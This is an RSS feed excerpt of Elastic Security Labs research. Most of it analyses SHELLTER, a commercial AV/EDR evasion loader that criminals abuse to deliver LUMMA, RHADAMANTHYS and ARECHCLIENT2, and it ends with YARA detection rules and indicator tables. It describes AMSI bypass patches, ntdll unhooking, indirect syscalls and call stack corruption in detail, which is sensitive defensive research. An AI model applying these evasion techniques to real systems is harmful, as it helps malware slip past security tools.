        $a1 = &quot;C:\\Users\\Administrateur\\Desktop\\Nova\\&quot;
        $a2 = &quot;[+] Recording...&quot; fullword
        $a3 = &quot;[+] Capture start&quot; fullword
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>ed164ee2eacad0eea9dc4fbe271ee2b2387b59929d73c843281a8d5e94c05d64</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.2</td>
</tr>
<tr>
<td align="left"><code>39f09771d70e96c7b760b3b6a30a015ec5fb6a9dd5bc1e2e609ddf073c2c853d</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.1</td>
</tr>
<tr>
<td align="left"><code>97393c27195c58f8e4acc9312a4c36818fe78f2ddce7ccba47f77a5ca42eab65</code></td>
<td align="left">SHA-256</td>
<td align="left"></td>
<td align="left">NOVABLIGHT VERSION 2.0</td>
</tr>
<tr>
<td align="left"><code>api.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>shadow.nova-blight[.]top</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]site</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
<tr>
<td align="left"><code>bamboulacity.nova-blight[.]xyz</code></td>
<td align="left">DOMAIN</td>
<td align="left"></td>
<td align="left">NOVABLIGHT dashboard</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.gatewatcher.com/lab/groupe-nova-sentinel/">https://www.gatewatcher.com/lab/groupe-nova-sentinel/</a></li>
<li><a href="https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/">https://www.cyfirma.com/research/emerging-maas-operator-sordeal-releases-nova-infostealer/</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/de/security-labs/assets/images/maas-appeal-an-infostealer-rises-from-the-ashes/Security Labs Images 7.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Taking SHELLTER: a commercial evasion framework abused in-the-wild ]]></title>
            <link>https://www.elastic.co/de/security-labs/taking-shellter</link>
            <guid>taking-shellter</guid>
            <pubDate>Thu, 03 Jul 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs detected the recent emergence of infostealers using an illicitly acquired version of the commercial evasion framework, SHELLTER, to deploy post-exploitation payloads.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs is observing multiple campaigns that appear to be leveraging the commercial AV/EDR evasion framework, SHELLTER, to load malware. SHELLTER is marketed to the offensive security industry for sanctioned security evaluations, enabling red team operators to more effectively deploy their C2 frameworks against contemporary anti-malware solutions.</p>
<h3>Key takeaways</h3>
<ul>
<li>Commercial evasion framework SHELLTER acquired by threat groups</li>
<li>SHELLTER has been used in multiple infostealer campaigns since April 2025, as recorded in license metadata</li>
<li>SHELLTER employs unique capabilities to evade analysis and detection</li>
<li>Elastic Security Labs releases dynamic unpacker for SHELLTER-protected binaries</li>
</ul>
<pre><code>Throughout this document we will refer to different terms with “shellter” in them. We will try to 
maintain the following style to aid readability:
  *  “Shellter Project” - the organization that develops and sells the Shellter evasion framework
  *  “Shellter Pro Plus/Elite” - the commercial names for the tools sold by the Shellter Project
  *  “SHELLTER” - the loader we have observed in malicious usage and are detailing in this report
  *  “SHELLTER-protected” - a descriptor of final payloads that the SHELLTER loader delivers
</code></pre>
<h2>SHELLTER Overview</h2>
<p>SHELLTER is a <a href="https://www.shellterproject.com/homepage/">commercial evasion framework</a> that has been assisting red teams for over a decade. It helps offensive security service providers bypass anti-virus and, more recently, EDR tools. This allows red teams to utilize their C2 frameworks without the constant development typically needed as security vendors write detection signatures for them.</p>
<pre><code>While the Shellter Project does offer a free version of the software, it has a limited feature-set, 
only 32-bit .exe support, and is generally better understood and detected by anti-malware 
products. The free version is not described in this article.
</code></pre>
<p>SHELLTER, like many other offensive security tools (OSTs), is a dual-use product. Malicious actors, once they gain access to it, can use SHELLTER to extend the lifespan of their tools. Reputable offensive security vendors, such as the Shellter Project, implement <a href="https://www.shellterproject.com/shellter-elite-acquire-upgrade-eligibility-terms/">safeguards</a> to mitigate the risk of their products being used maliciously. These measures include geographic sales limits, organizational due diligence, and End User License Agreements (EULAs). Despite these efforts, highly motivated malicious actors remain a challenge.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image39.gif" alt="" /></p>
<p>In mid-June, our research identified multiple financially motivated infostealer campaigns that have been using SHELLTER to package payloads beginning late April 2025. Evidence suggests that this is the Shellter Elite version 11.0, which was <a href="https://www.shellterproject.com/shellter-elite-v11-0-released/">released</a> on April 16, 2025.</p>
<p>SHELLTER is a complex project offering a wide array of configurable settings tailored for specific operating environments, payload delivery mechanisms, and encryption paradigms. This report focuses exclusively on features observed in identified malicious campaigns. While some features appear to be common, a comprehensive review of all available features is beyond the scope of this document.</p>
<h2>SHELLTER Loader - Technical Details</h2>
<p>The following sections describe capabilities that resemble some of the Shellter Project’s published <a href="https://www.shellterproject.com/Downloads/ShellterElite/Shellter_Elite_Exclusive_Features.pdf">Elite Exclusive Features</a>. Our assessment indicates that we are observing Shellter Elite. This conclusion is based on a review of the developer's public documentation, observation of various samples from different builds with a high degree of code similarity, and the prevalence of evasion features scarcely observed.</p>
<h3>Polymorphic Junk Code</h3>
<p>SHELLTER-protected samples commonly employ self-modifying shellcode with polymorphic obfuscation to embed themselves within legitimate programs. This combination of legitimate instructions and polymorphic code helps these files evade static detection and signatures, allowing them to remain undetected.</p>
<p>By setting a breakpoint on <code>VirtualAlloc</code> in a SHELLTER-protected <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys">RHADAMANTHYS</a> <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">sample</a>, we can see the call stack of this malware sample.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image11.png" alt="Call stack of backdoored file" /></p>
<p>This type of polymorphic code confuses static disassemblers and impairs emulation efforts. These instructions show up during the unpacking stage, calling one of these pairs of Windows API functions to allocate memory for a new shellcode stub:</p>
<ul>
<li><code>GetModuleHandleA</code> / <code>GetProcAddress</code></li>
<li><code>CreateFileMappingW</code> / <code>MapViewOfFile</code></li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image44.png" alt="Junk instructions using legitimate import" /></p>
<p>The SHELLTER functionality is contained within a new, substantial function. It’s reached after additional unpacking and junk instructions in the shellcode stub. IDA Pro or Binary Ninja can successfully decompile the code at this stage.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image7.png" alt="Final unpacking instructions leading to main function" /></p>
<h3>Unhooking System Modules via File-mappings</h3>
<p>To bypass API hooking techniques from AV/EDR vendors, SHELLTER maps a fresh copy of <code>ntdll.dll</code> via <code>NtCreateSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image48.png" alt="Manually mapped ntdll.dll in orange" /></p>
<p>There is also a second option for unhooking by loading a clean <code>ntll.dll</code> from the <code>KnownDLLs</code> directory via <code>NtOpenSection</code> and <code>NtMapViewOfSection</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image14.png" alt="ntdll.dll mapped via KnownDlls technique" /></p>
<h3>Payload Encryption and Compression</h3>
<p>SHELLTER encrypts its final, user-defined payloads using AES-128 CBC mode. This encryption can occur in one of two ways:</p>
<ul>
<li><strong>Embedded key/IV:</strong> A randomly generated key/IV pair is embedded directly within the SHELLTER payload.</li>
<li><strong>Server-fetched key/IV:</strong> The key/IV pair is fetched from an adversary-controlled server.</li>
</ul>
<p>For samples that utilized the embedded option, we successfully recovered the underlying payload.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image47.png" alt="AES CBC main decryption loop" /></p>
<p>The encrypted blobs are located at the end of each SHELLTER payload.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image20.png" alt="Encrypted payload" /></p>
<p>The AES key and IV can be found as constants being loaded into stack variables at very early stages of the payload as part of its initialization routine.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image29.png" alt="Embedded AES Key and IV constants" /></p>
<p>In Shellter Elite v11.0, by default, payloads are compressed using the <code>LZNT1</code> algorithm before being encrypted.</p>
<h3>DLL Preloading &amp; Call Stack Evasion</h3>
<p>The “Force Preload System Modules” feature enables preloading of essential Windows subsystem DLLs, such as <code>advapi32.dll</code>, <code>wininet.dll</code>, and <code>crypt32.dll</code>, to support the underlying payload’s operations. The three configurable options include:</p>
<ul>
<li><code>--Force-PreloadModules-Basic</code> (16 general-purpose modules)</li>
<li><code>--Force-PreloadModules-Networking</code> (5 network-specific modules)</li>
<li><code>--Force-PreloadModules-Custom</code> (up to 16 user-defined modules)</li>
</ul>
<p>These modules are being loaded through either <code>LoadLibraryExW</code> or <code>LdrLoadDll</code>. Details on API proxying through custom Vectored Exception Handlers (VEH) will be discussed in a subsequent section.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image45.png" alt="APIs for preloading DLLs" /></p>
<p>Below is an example of a list of preloaded modules in a SHELLTER-protected payload that matches the <code>--Force-PreloadModules-Basic</code> option, found in a <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1/relations">sample</a> that deploys a simple C++ loader client abusing BITS (Background Intelligent Transfer Service) for C2 – an uncommon approach <a href="https://www.elastic.co/de/security-labs/bits-and-bytes-analyzing-bitsloth">favored by some threats</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image30.png" alt="DLL list for flag --Force-PreloadModules-Basic" /></p>
<p>The following example is a list that matches the <code>--Force-PreloadModules-Networking</code> option found in a sample loading <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">LUMMA</a>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image27.png" alt="DLL list for flag --Force-PreloadModules-Networking" /></p>
<p>This feature (<a href="https://www.shellterproject.com/shellter-elite-pro-plus-updates/">released</a> in Shellter Pro Plus v10.x) leverages the call stack evasion capability to conceal the source of the <code>LoadLibraryExW</code> call while loading networking and cryptography-related libraries.</p>
<p>Below is an example of a <code>procmon</code> trace when loading <code>wininet.dll</code>, showing a truncated call stack:</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image49.png" alt="Truncated call stack when loading wininet.dll" /></p>
<p>In the same <a href="https://www.virustotal.com/gui/file/70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1">sample</a> that has the <code>--Force-PreloadModules-Basic</code> flag enabled, we observed that the dependencies of the preloaded modules were also subject to call stack corruption. For instance, <code>urlmon.dll</code> also conceals the source of the <code>LoadLibraryExW</code> call for its dependencies <code>iertutil.dll</code>, <code>srvcli.dll</code>, and <code>netutils.dll</code>.</p>
<h3>Unlinking of AV/EDR Modules</h3>
<p>SHELLTER includes functionality to unlink decoy DLL modules that are placed inside the Process Environment Block (<a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb">PEB</a>). These decoy modules are used by some security vendors as canaries to monitor when shellcode attempts to enumerate the PEB LDR list manually. <a href="https://learn.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb_ldr_data">PEB LDR</a> is a structure in Windows that contains information about a process's loaded modules.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image43.png" alt="Targeted unlinking of the decoy module" /></p>
<p>We only observed one unique module name based on its hash (different per sample), which ends up resolving to <code>kern3l32.dll</code> [sic].</p>
<h3>API Hashing Obfuscation</h3>
<p>Observed samples employ time-based seeding to obfuscate API addresses. The malware first reads the <code>SystemTime</code> value from the <code>KUSER_SHARED_DATA</code> structure at address <code>0x7FFE0014</code> to derive a dynamic XOR key.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image37.png" alt="XOR key derived from KUSER_SHARED_DATA" /></p>
<p>It then uses a seeded-ROR13 hashing algorithm on API names to resolve the function addresses at runtime.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image15.png" alt="seeded-ROR13 algorithm" /></p>
<p>Once resolved, optionally, these pointers are obfuscated by XORing them with the time-based key and applying a bitwise rotation before being stored in a lookup table. This tactic is applied throughout the binary to conceal a variety of data such as other function pointers, syscall stubs, and handles of loaded modules.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image33.png" alt="Function pointer obfuscation" /></p>
<h3>License Check and Self-disarm</h3>
<p>For each SHELLTER payload, there are three embedded <code>FILETIME</code> structures. In an example <a href="https://www.virustotal.com/gui/file/7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10">sample</a>, these were found to be:</p>
<ul>
<li>License expiry datetime (2026-04-17 19:17:24.055000)</li>
<li>Self-disarm datetime (2026-05-21 19:44:43.724952)</li>
<li>Infection start datetime (2025-05-21 19:44:43.724952)</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image28.png" alt="Hardcoded FILETIMEs" /></p>
<p>The license expiry check compares the current time to the license expiry datetime, setting the <code>license_valid</code> flag in the context structure. There are 28 unique call sites (likely 28 licensed features) to the license validity check, where the <code>license_valid</code> flag determines whether the main code logic is skipped, confirming that the license expiry datetime acts as a kill switch.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image34.png" alt="Expired SHELLTER license causes execution to be cut short" /></p>
<p>By default, the self-disarm date is set exactly one year after the initial infection start date. When the self-disarm flag is triggered, several cleanup routines are executed. One such routine involves unmapping the manually loaded <code>ntdll</code> module (if present) and clearing the NTAPI lookup table, which references either the manually mapped <code>ntdll</code> module or the one loaded during process initialization.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image4.png" alt="Example cleanup routine when self-disarm is triggered" /></p>
<p>While the Self-disarm and Infection start datetimes are different from sample to sample, we note that the License expiry datetime (2026-04-17 19:17:24.055000) remains constant.</p>
<p>It is possible that this time is uniquely generated for each license issued by The Shellter Project. If so, it would support the hypothesis that only a single copy of Shellter Elite has been acquired for malicious use. This value does not appear in static analysis, but shows up in the unpacked first stage.</p>
<table>
<thead>
<tr>
<th align="left">SHA256</th>
<th align="left">License Expiration</th>
<th align="left">Self-disarm</th>
<th align="left">Infection Start</th>
<th align="left">Family</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-27 19:57:42.971694</td>
<td align="left">2025-05-27 19:57:42.971694</td>
<td align="left">RHADAMANTHYS</td>
</tr>
<tr>
<td align="left">7d0c9855167e7c19a67f800892e974c4387e1004b40efb25a2a1d25a99b03a10</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-21 19:44:43.724953</td>
<td align="left">2025-05-21 19:44:43.724953</td>
<td align="left">UNKNOWN</td>
</tr>
<tr>
<td align="left">b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-24 11:42:52.905726</td>
<td align="left">2025-05-24 11:42:52.905726</td>
<td align="left">ARECHCLIENT2</td>
</tr>
<tr>
<td align="left">da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-04-27 22:40:00.954060</td>
<td align="left">2025-04-27 22:40:00.954060</td>
<td align="left">LUMMA</td>
</tr>
<tr>
<td align="left">70ec2e65f77a940fd0b2b5c0a78a83646dec17583611741521e0992c1bf974f1</td>
<td align="left">2026-04-17 19:17:24.055000</td>
<td align="left">2026-05-16 16:12:09.711057</td>
<td align="left">2025-05-16 16:12:09.711057</td>
<td align="left">UNKNOWN</td>
</tr>
</tbody>
</table>
<p>Below is a YARA rule that can be used to identify this hardcoded license expiry value in the illicit SHELLTER samples we’ve examined:</p>
<pre><code class="language-yara">rule SHELLTER_ILLICIT_LICENSE {  
    meta:  
        author = &quot;Elastic Security&quot;  
        last_modified = &quot;2025-07-01&quot;  
        os = &quot;Windows&quot;  
        family = &quot;SHELLTER&quot;  
        threat_name = &quot;SHELLTER_ILLICIT_LICENSE&quot;

    strings:

        // 2026-04-17 19:17:24.055000  
        $license_server = { c7 84 24 70 07 00 00 70 5e 2c d2 c7 84 24 74 07 00 00 9e ce dc 01}

    condition:  
        any of them  
}  
</code></pre>
<h3>Memory Scan Evasion</h3>
<p>SHELLTER-protected samples implemented various techniques, including runtime evasions, to avoid detection. These types of techniques include:</p>
<ul>
<li>Decoding and re-encoding instructions at runtime</li>
<li>Removal of execute permissions on inactive memory pages</li>
<li>Reducing footprint, impacting in-memory signatures using YARA</li>
<li>Using Windows internals structures, such as the <code>PEB</code>, as temporary data holding spots</li>
</ul>
<p>SHELLTER generates a trampoline-style stub based on the operating system version. There is a 4 KB page that holds this stub, where the memory permissions fluctuate using <code>NtQueryVirtualMemory</code> and <code>NtProtectVirtualMemory</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image18.png" alt="Initial memory page showing memory not committed" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image13.png" alt="Memory page moves to PAGE_READWRITE" /></p>
<p>Once the page is active, the encoded bytes can be observed at this address, <code>0x7FF5FFCE0000</code>.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image21.png" alt="Encoded trampoline stub" /></p>
<p>SHELLTER decodes this page when active through an XOR loop using the derived <code>SystemTime</code> key from the <code>KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image12.png" alt="Encoding XOR loop for encoding/decoding trampoline stub" /></p>
<p>Below is this same memory page (<code>0x7FF5FFCE0000</code>), showing the decoded trampoline stub for the syscall (<code>ntdll_NtOpenFile</code>).</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image36.png" alt="Decoded trampoline stub for NtOpenFile" /></p>
<p>When the functionality is needed, the memory page permissions are set with Read/Execute (RX) permissions. After execution, the pages are set to inactive.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image42.png" alt="Memory page moves to PAGE_EXECUTE_READ" /></p>
<p>The continuous protection of key functionality during runtime complicates both analysis and detection efforts. This level of protection is uncommon in general malware samples.</p>
<h3>Indirect Syscalls / Call stack Corruption</h3>
<p>As shown in the previous section, SHELLTER bypasses user-mode hooks by using trampoline-based indirect syscalls. Instead of invoking <code>syscall</code> directly, it prepares the stack with the address of a clean <code>syscall</code> instruction from <code>ntdll.dll</code>. A <code>ret</code> instruction then pops this address into the <code>RIP</code> register, diverting execution to the <code>syscall</code> instruction stealthily.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image1.png" alt="Trampoline code" /></p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image31.png" alt="Syscall instruction from clean ntdll.dll" /></p>
<p>Below is an example of Elastic Defend <code>VirtualProtect</code> events, showing the combination of the two evasions (indirect syscall and call stack truncation). This technique can bypass or disrupt various security detection mechanisms.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image16.png" alt="Elastic Defend eventing for indirect calls and truncated call stacks" /></p>
<h3>Advanced VM/Sandbox Detection</h3>
<p>SHELLTER’s documentation makes a reference to a hypervisor detection feature. A similar capability is observed in our malicious samples after a call to <code>ZwQuerySystemInformationEx</code> using <code>CPUID</code> and <code>_bittest</code> instructions. This functionality returns various CPU information along with the Hyper-Threading Technology (HTT) flag.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image17.png" alt="Hypervisor detection" /></p>
<h3>Debugger Detection (UM/KM)</h3>
<p>SHELLTER employs user-mode and kernel-mode debugging detection using Process Heap flags and checking the <code>KdDebuggerEnabled</code> flag via the <code>_KUSER_SHARED_DATA</code> structure.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image23.png" alt="Debugging detections" /></p>
<h3>AMSI Bypass</h3>
<p>There are two methods of AMSI bypassing. The first method involves in-memory patching of AMSI functions. This technique searches the functions for specific byte patterns and modifies them to alter the function’s logic. For example, it overwrites a 4-byte string &quot;AMSI&quot; with null bytes and patches conditional jumps to its opposite.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image9.png" alt="Patch the “AMSI” string in the AMSI functions to null bytes" /></p>
<p>The second method is slightly more sophisticated. First, it optionally attempts to sabotage the Component Object Model (COM) interface lookup by finding the <code>CLSID_Antimalware</code> GUID constant <code>{fdb00e52-a214-4aa1-8fba-4357bb0072ec}</code> within <code>amsi.dll</code>, locating a pointer to it in a writable data section, and corrupting that pointer to make it point 8 bytes before the actual GUID.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image2.png" alt="Patch reference point to CLSID_Antimalware GUID constant" /></p>
<p>The targeted pointer is the CLSID pointer in the AMSI module's Active Template Library (ATL) object map entry, a structure used by the <code>DllGetClassObject</code> function to find and create registered COM classes. By corrupting the pointer in this map, the lookup for the antimalware provider will fail, preventing it from being created, thus causing <code>AmsiInitialize</code> to fail with a <code>CLASS_E_CLASSNOTAVAILABLE</code> exception.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image32.png" alt="AmsiAntimalware ATL Object Map entry in amsi.dll" /></p>
<p>It then calls <code>AmsiInitialize</code> - If the previous patch did not take place and the API call is successful, it performs a vtable patch as a fallback mechanism. The <code>HAMSICONTEXT</code> obtained from <code>AmsiInitialize</code> contains a pointer to an <code>IAntimalware</code> COM object, which in turn contains a pointer to its virtual function table. The bypass targets the function <code>IAntimalware::Scan</code> in this table. To neutralize it, the code searches the memory page containing the <code>IAntimalware::Scan</code> function for a <code>ret</code> instruction.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image8.png" alt="Find ret gadget in IAntimalware::Scan function" /></p>
<p>After finding a suitable gadget, it overwrites the <code>Scan</code> function pointer with the address of the <code>ret</code> gadget. The result is that any subsequent call to <code>AmsiScanBuffer</code> or <code>AmsiScanString</code> will invoke the patched vtable, jump directly to a <code>ret</code> instruction, and immediately return.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image38.png" alt="Overwrite IAntimalware::Scan function pointer with ret gadget" /></p>
<h3>Vectored Exception Handler API Proxy</h3>
<p>There is a sophisticated API proxying mechanism which is achieved by redirecting calls to resolved APIs and crafted syscall stubs through a custom exception handler, which acts as a control-flow proxy. It can be broken down into two phases: setup and execution.</p>
<p>Phase 1 involves allocating two special memory pages that will serve as “triggers” for the exception handler. Protection for these pages are set to <code>PAGE_READONLY</code>, and attempting to execute code there will cause a <code>STATUS_ACCESS_VIOLATION</code> exception, which is intended. The addresses of these trigger pages are stored in the context structure:</p>
<ul>
<li><code>api_call_trigger_page</code> - The page that will be called to initiate the proxy.</li>
<li><code>api_return_trigger_page</code> - The page that the actual API will return to.</li>
</ul>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image40.png" alt="Memory Allocation for trigger pages" /></p>
<p>An exception handler template from the binary is copied into an allocated region and registered as the primary handler for the process using <code>RtlAddVectoredExceptionHandler</code>. A hardcoded magic placeholder value (<code>0xe1e2e3e4e5e6e7e8</code>) in the handler is then overwritten with a pointer to the context structure itself.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image22.png" alt="In-memory patch of the magic value in the exception handler" /></p>
<p>Looking at an example callsite, if the VEH proxy is to be used, the address of <code>GetCurrentDirectoryA</code> will be stored into <code>ctx_struct-&gt;target_API_function</code>, and the API function pointer is overwritten with the address of the call trigger page. This trigger page is then called, triggering a <code>STATUS_ACCESS_VIOLATION</code> exception.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image24.png" alt="Example callsite with the option to utilize VEH API proxying" /></p>
<p>Control flow is redirected to the exception handler. The faulting address of the exception context is checked, and if it matches the call trigger page, it knows it is an incoming API proxy call and performs the following:</p>
<ul>
<li>Save the original return address</li>
<li>Overwrite the return address on the stack with the address of the return trigger page</li>
<li>Sets the <code>RIP</code> register to the actual API address saved previously in <code>ctx_struct-&gt;target_API_function</code>.</li>
</ul>
<p>The <code>GetCurrentDirectoryA</code> call is then executed. When it finishes, it jumps to the return trigger page, causing a second <code>STATUS_ACCESS_VIOLATION</code> exception and redirecting control flow back to the exception handler. The faulting address is checked to see if it matches the return trigger page; if so, <code>RIP</code> is set to the original return address and the control flow returns to the original call site.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image35.png" alt="Exception handler template" /></p>
<h2>Campaigns</h2>
<p>In June, Elastic Security Labs identified multiple campaigns deploying various information stealers protected by Shellter Elite as recorded by license information present in each binary. By taking advantage of the above tooling, we observed threat actors across different campaigns quickly integrate this highly evasive loader into their own workflows.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image6.png" alt="Activity Timeline" /></p>
<h3>LUMMA</h3>
<p>LUMMA <a href="https://www.virustotal.com/gui/file/da59d67ced88beae618b9d6c805f40385d0301d412b787e9f9c9559d00d2c880/details">infostealer</a> was being distributed with SHELLTER starting in late April, as evidenced by metadata within binaries. While the initial infection vector is not clear, we were able to <a href="https://app.any.run/tasks/eab157aa-5609-4b33-a571-808246d1cf92">verify</a> (using ANY.RUN) that related files were being hosted on the <a href="https://www.mediafire.com/">MediaFire</a> file hosting platform.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image5.png" alt="Submission data for the LUMMA sample" /></p>
<h3>Want-to-Sell</h3>
<p>On May 16th, Twitter/X user <a href="https://x.com/DarkWebInformer">@darkwebinformer</a> <a href="https://x.com/DarkWebInformer/status/1923472392157790700">posted</a> a screenshot with the caption:</p>
<blockquote>
<p>🚨Shellter Elite v11.0 up for sale on a popular forum</p>
</blockquote>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image19.png" alt="Dark Web Informer’s screenshot of Shellter Elite [Sell] forum post" /></p>
<p>“Exploit Garant” in this case refers to an escrow-like third-party that mediates the transaction.</p>
<h3>ARECHCLIENT2</h3>
<p>Starting around May, we observed campaigns <a href="https://www.reddit.com/r/PartneredYoutube/comments/1ks2svg/skillshare_sponsorship/">targeting</a> content creators with lures centered around sponsorship opportunities. These appear to be phishing emails sent to individuals with a YouTube channel impersonating brands such as Udemy, Skillshare, Pinnacle Studio, and Duolingo. The emails include download links to archive files (<code>.rar</code>), which contain legitimate promotional content packaged with a SHELLTER-protected executable.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image41.png" alt="RAR archive contents" /></p>
<p>This underlying <a href="https://www.virustotal.com/gui/file/748149df038a771986691e3f54afea609ceb9fbfcbec92145beb586bec039e6a/details">executable</a> shares traits and behaviors with our previous SHELLTER analysis. As of this writing, we can still see <a href="https://www.virustotal.com/gui/file/b3e93bfef12678294d9944e61d90ca4aa03b7e3dae5e909c3b2166f122a14dad/details">samples</a> with very low detection rates in VirusTotal. This is due to multiple factors associated with custom-built features to avoid static analysis, including polymorphic code, backdooring code into legitimate applications, and the application of code-signing certificates.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image25.png" alt="Low detection of SHELLTER-protected ARECHCLIENT2" /></p>
<p>The embedded payload observed in this file deploys the infostealer ARECHCLIENT2, also known as SECTOP RAT. The C2 for this stealer points to <code>185.156.72[.]80:15847,</code> which was <a href="https://www.elastic.co/de/security-labs/a-wretch-client">previously identified</a> by our team on June 17th when we discussed this threat in association with the GHOSTPULSE loader.</p>
<h3>RHADAMANTHYS</h3>
<p>These infections begin with YouTube videos targeting topics such as game hacking and gaming mods, with video comments linking to the malicious files hosted on MediaFire.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image10.png" alt="Distribution through YouTube comments" /></p>
<p>One of the <a href="https://www.virustotal.com/gui/file/c865f24e4b9b0855b8b559fc3769239b0aa6e8d680406616a13d9a36fbbc2d30/details">files</a> that was previously distributed using this method has been submitted 126 unique times as of this publication by different individuals.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image3.png" alt="Submission data for RHADAMANTHYS sample" /></p>
<p>This file shares the same behavioral characteristics as the same underlying code from the previous SHELLTER analysis sections. The embedded payload with this sample deploys RHADAMANTHYS infostealer.</p>
<p><img src="https://www.elastic.co/de/security-labs/assets/images/taking-shellter/image46.png" alt="RHADAMANTHYS strings" /></p>
<h2>SHELLTER Unpacker</h2>
